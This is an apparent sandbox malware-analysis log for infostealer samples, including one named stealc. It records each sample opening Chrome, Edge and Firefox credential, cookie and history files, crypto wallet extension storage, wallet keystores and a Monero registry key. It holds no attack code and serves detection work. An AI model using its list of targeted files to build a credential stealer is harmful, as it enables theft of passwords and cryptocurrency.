Source: stealc_default2.exe, 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: MultiDoge
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: seed.seco
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: stealc_default2.exe, 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.}

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\ff366d85-2475-4dfc-a5c6-01e0d6f59500
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\921a1560-5524-44c0-8495-fce7014dcfba
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
